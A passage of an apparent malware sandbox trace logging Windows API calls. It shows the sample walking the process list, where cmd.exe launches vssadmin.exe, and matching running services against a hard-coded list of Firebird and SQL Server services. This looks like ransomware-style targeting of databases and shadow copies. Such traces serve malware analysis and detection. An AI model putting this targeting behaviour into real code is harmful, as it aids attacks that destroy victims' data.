th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.847] lstrlenW (lpString="taskhost.exe") returned 12 [0041.847] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.847] lstrlenW (lpString="svchost.exe") returned 11 [0041.847] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0041.847] lstrlenW (lpString="taskeng.exe") returned 11 [0041.847] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.847] lstrlenW (lpString="taskhost.exe") returned 12 [0041.847] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0041.848] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0041.848] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0041.848] lstrlenW (lpString="noticed.exe") returned 11 [0041.848] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0041.848] lstrlenW (lpString="uploaded.exe") returned 12 [0041.848] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0041.848] lstrlenW (lpString="hardware.exe") returned 12 [0041.848] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0041.849] lstrlenW (lpString="oracle.exe") returned 10 [0041.849] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0041.849] lstrlenW (lpString="creativity.exe") returned 14 [0041.849] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0041.849] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0041.849] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0041.849] lstrlenW (lpString="edited.exe") returned 10 [0041.849] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0041.850] lstrlenW (lpString="custody.exe") returned 11 [0041.850] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0041.850] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0041.850] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0041.850] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0041.850] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0041.851] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0041.851] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0041.851] lstrlenW (lpString="radius.exe") returned 10 [0041.851] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0041.851] lstrlenW (lpString="extensions.exe") returned 14 [0041.851] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0041.851] lstrlenW (lpString="desperate.exe") returned 13 [0041.851] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0041.852] lstrlenW (lpString="professor-mo.exe") returned 16 [0041.852] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0041.852] lstrlenW (lpString="guidance.exe") returned 12 [0041.852] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0041.852] lstrlenW (lpString="week.exe") returned 8 [0041.852] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0041.852] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0041.852] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0041.853] lstrlenW (lpString="sn featured.exe") returned 15 [0041.853] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0041.853] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0041.853] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0041.853] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0041.853] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0041.853] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0041.854] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0041.854] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0041.854] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0041.854] lstrlenW (lpString="mobsync.exe") returned 11 [0041.854] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0041.854] lstrlenW (lpString="cmd.exe") returned 7 [0041.854] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0041.855] lstrlenW (lpString="conhost.exe") returned 11 [0041.855] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0041.855] lstrlenW (lpString="vssadmin.exe") returned 12 [0041.855] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0041.855] lstrlenW (lpString="VSSVC.exe") returned 9 [0041.855] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0041.855] CloseHandle (hObject=0x360) returned 1 [0041.855] Sleep (dwMilliseconds=0x1f4) [0042.687] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297db0 [0042.688] EnumServicesStatusExW (in: hSCManager=0x3297db0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0042.689] GetLastError () returned 0xea [0042.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x123e) returned 0x329f0a0 [0042.689] EnumServicesStatusExW (in: hSCManager=0x3297db0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x329f0a0, cbBufSize=0x123e, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x329f0a0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0042.689] CloseServiceHandle (hSCObject=0x3297db0) returned 1 [0042.689] lstrlenW (lpString="Appinfo") returned 7 [0042.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0042.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0042.690] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0042.690] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0042.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0042.690] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0042.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0042.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0042.690] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0042.690] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0042.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0042.690] lstrlenW (lpString="AudioSrv") returned 8 [0042.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0042.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0042.690] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0042.690] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0042.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0042.690] lstrlenW (lpString="BFE") returned 3 [0042.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0042.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0042.690] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0042.690] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0042.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0042.690] lstrlenW (lpString="CryptSvc") returned 8 [0042.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0042.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0042.690] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0042.690] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0042.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0042.690] lstrlenW (lpString="CscService") returned 10 [0042.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0042.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0042.691] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0042.691] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0042.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0042.691] lstrlenW (lpString="DcomLaunch") returned 10 [0042.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0042.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0042.691] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0042.691] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0042.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0042.691] lstrlenW (lpString="Dhcp") returned 4 [0042.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0042.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0042.691] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0042.691] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0042.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0042.691] lstrlenW (lpString="Dnscache") returned 8 [0042.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0042.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0042.691] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0042.691] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0042.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0042.691] lstrlenW (lpString="DPS") returned 3 [0042.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0042.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0042.691] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0042.691] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0042.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0042.691] lstrlenW (lpString="eventlog") returned 8 [0042.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0042.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0042.691] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0042.692] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0042.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0042.692] lstrlenW (lpString="EventSystem") returned 11 [0042.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0042.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0042.692] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0042.692] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0042.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0042.692] lstrlenW (lpString="gpsvc") returned 5 [0042.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0042.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0042.692] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0042.692] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0042.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0042.692] lstrlenW (lpString="iphlpsvc") returned 8 [0042.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0042.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0042.692] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0042.692] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0042.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0042.692] lstrlenW (lpString="LanmanServer") returned 12 [0042.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0042.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0042.692] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0042.692] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0042.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0042.692] lstrlenW (lpString="LanmanWorkstation") returned 17 [0042.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0042.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0042.692] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0042.692] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0042.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0042.693] lstrlenW (lpString="lmhosts") returned 7 [0042.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0042.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0042.693] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0042.693] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0042.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0042.693] lstrlenW (lpString="MMCSS") returned 5 [0042.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0042.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0042.693] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0042.693] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0042.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0042.693] lstrlenW (lpString="MpsSvc") returned 6 [0042.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0042.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0042.693] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0042.693] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0042.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0042.693] lstrlenW (lpString="Netman") returned 6 [0042.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0042.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0042.693] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0042.693] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0042.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0042.693] lstrlenW (lpString="netprofm") returned 8 [0042.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0042.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0042.693] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0042.693] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0042.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0042.693] lstrlenW (lpString="NlaSvc") returned 6 [0042.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0042.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0042.694] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0042.694] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0042.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0042.694] lstrlenW (lpString="nsi") returned 3 [0042.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0042.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0042.694] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0042.694] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0042.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0042.694] lstrlenW (lpString="PcaSvc") returned 6 [0042.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0042.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0042.694] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0042.694] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0042.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0042.694] lstrlenW (lpString="PlugPlay") returned 8 [0042.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0042.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0042.694] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0042.694] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0042.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0042.694] lstrlenW (lpString="Power") returned 5 [0042.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0042.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0042.694] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0042.694] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0042.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0042.694] lstrlenW (lpString="ProfSvc") returned 7 [0042.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0042.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0042.694] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0042.695] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0042.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0042.695] lstrlenW (lpString="RpcEptMapper") returned 12 [0042.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 